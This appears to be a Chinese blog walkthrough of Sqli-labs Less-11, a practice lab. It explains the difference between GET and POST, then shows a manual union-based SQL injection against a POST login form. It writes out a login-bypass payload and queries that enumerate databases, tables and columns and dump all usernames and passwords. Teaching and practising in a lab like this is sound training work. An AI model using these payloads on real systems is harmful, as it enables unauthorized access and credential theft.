Sqli-labs之Less-11

                                                  Less-11

POST - 基於錯誤的- 單引號 - 字符型

                                           LOGIN ATTEMPT FAILED   登錄嘗試失敗

從這一關的提示當中我們知道這是一個post類型的,那麼post與get的區別是什麼?

原文鏈接:https://www.cnblogs.com/zxyzm/p/10492545.html

1. get是從服務器上獲取數據,post是向服務器傳送數據。

2. GET請求把參數包含在URL中,將請求信息放在URL後面,POST請求通過request body傳遞參數,將請求信息放置在報文體中。

3. get傳送的數據量較小,不能大於2KB。post傳送的數據量較大,一般被默認爲不受限制。但理論上,IIS4中最大量爲80KB,IIS5中爲100KB。

4. get安全性非常低,get設計成傳輸數據,一般都在地址欄裏面可以看到,post安全性較高,post傳遞數據比較隱私,所以在地址欄看不到, 如果沒有加密,他們安全級別都是一樣的,隨便一個監聽器都可以把所有的數據監聽到。

5. GET請求能夠被緩存,GET請求會保存在瀏覽器的瀏覽記錄中,以GET請求的URL能夠保存爲瀏覽器書籤,post請求不具有這些功能。

6. HTTP的底層是TCP/IP,GET和POST的底層也是TCP/IP,也就是說,GET/POST都是TCP鏈接。GET和POST能做的事情是一樣一樣的。你要給GET加上request body,給POST帶上url參數,技術上是完全行的通的。

7.GET產生一個TCP數據包,對於GET方式的請求,瀏覽器會把http header和data一併發送出去,服務器響應200(返回數據);POST產生兩個TCP數據包,對於POST,瀏覽器先發送header,服務器響應100 continue,瀏覽器再發送data,服務器響應200 ok(返回數據),並不是所有瀏覽器都會在POST中發送兩次包,Firefox就只發送一次。

所以要想查看post提交的數據需要利用抓包工具,對於這一題由於是基於報錯的,也就是說輸入錯誤會返回報錯數據,那麼這裏我將通過手工注入和工具注入分別進行解題。

手工注入:

1.我們發現這一題需要提交兩個數據,那麼我們先查看下該網頁的html部分我,看能獲得什麼信息?

在html部分鐘我們瞭解到這些信息:

1.form表單採用post形式提交

2.服務端接收數據: uname=數據   passwd=數據    ===>推斷出  uname=用戶名&passwd=密碼    ====>有可大致推斷數據庫的sql語句爲

select username,password from users where uname=用戶名&passwd

3.type=text 說明是在文本框中都是明文顯示。

name 屬性規定 input 元素的名稱。

name 屬性用於對提交到服務器後的表單數據進行標識,或者在客戶端通過 JavaScript 引用表單數據。

註釋:只有設置了 name 屬性的表單元素才能在提交表單時傳遞它們的值

2.那麼我們該如何進行注入呢?

其實也很簡單在Less1-4中,我們正常訪問需要 ?id  而這裏需要 uname=用戶名&passwd=密碼:

?id=1              uname=1&passwd=1                                       uname=1&passwd=1

?id=1'             uname=1&passwd=1'             =====同理==》uname=1'&passwd=1           (注: & 就相當於 and)

?id=1"            uname=1&passwd=1"                                      uname=1"&passwd=1

這麼一對比,可以發現他們都是非常類似的,而且他們又是基於報錯的,題目也提到了,還是字符型單引號注入

對比一下源代碼,學習學習:

提示:在php中 isset() 函數用於檢測變量是否已設置並且非 NULL。也就是說如果 uname&passwd如果有一個爲 null,將不會執行sql語句。

(還有一點是在輸入框中不要用--+因爲+不會進行url編碼,因爲他不在url地址欄中,可以使用 #  %23  -- #)

3.知道了是字符型單引號注入,那麼測試一下是不是注入點:

1' or 1=1 -- #

成功登陸,說明這就是一個注入點,後臺形成的 sql 語句爲
@$sql="SELECT username, password FROM users WHERE username='1' or 1=1 -- # and password='$passwd' LIMIT 0,1";
在#以後的內容就被註釋掉,前面的內容因爲 or 1=1 恆成立,所以語句就成立,登錄成功。

(注:同理@$sql="SELECT username, password FROM users WHERE username=1 and password='1'  or 1=1 -- #LIMIT 0,1";結果都是一樣的)

(所以下面爲了方便,將在username輸入框中進行注入,而在pasword輸入框中統一輸入數字1吧,整潔一點,嘿嘿)

那麼接下來我們嘗試用 get 注入中用到的其他的語句代替 ' or 1=1 進行注入。

4.接下來就是獲取字段數,我們知道Less1-4中通過 ?id=數據 order by n -- # 返回的信息猜解出字段數n=3,但他的前提是這個 “數據”是true才行,而我們這裏用 1' order by n -- #肯定不行的,因爲該數據庫中根本就沒有用戶名爲1的用戶啊,除非你知道有Dum用戶,然後 Dumb' order by n -- #得出n=2,那如何解決,逆向思維,直接利用union聯合注入,讓你前一個條件爲false,然後直接執行後面的select語句,構造payload: -1' union select 1,2-- # 結果返回用戶名和密碼說明字段數爲2

(注:後來發現 1' union select 1,2-- #也是可以的,因爲uname=1條件本來就是False了,沒有必要用 -1,但我覺得吧,人容易養成習慣,所以還是用-1吧,又不費事,在用到工具注入時,就不用-1了直接用1)

5.字段數知道了,那麼直接爆數據庫----得到security數據庫:

爆當前數據庫:

-1' union select 1,database()-- #

爆所有的數據庫:

-1' union select 1,group_concat(schema_name) from information_schema.schemata-- #

注:我們可以Hackbar插件中輸入語句,這樣好改注入語句(下面都用小插件了,2333)。

(同理該語句等同於:uname=1&passwd=-1' union select 1,database()-- #)

你喜歡用哪種寫法都可以:

6.爆數據表----得到我們需要的users表

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- #&passwd=1

7.爆users表的字段(列)

uname=1&passwd=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- #

8.爆users表的數據:

uname=1&passwd=-1' union select group_concat(username),group_concat(password) from users-- #

到了這裏我們就獲取到了security數據庫裏所有的用戶名和密碼,基於報錯注入還是比較容易的,主要是它返回的報錯信息大大減少了我們手工注入的時間,當然還有一些利用mysql函數進行報錯注入,在下面的工具注入中會挑一個進行講解。

工具注入:

我們明天見。。。。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章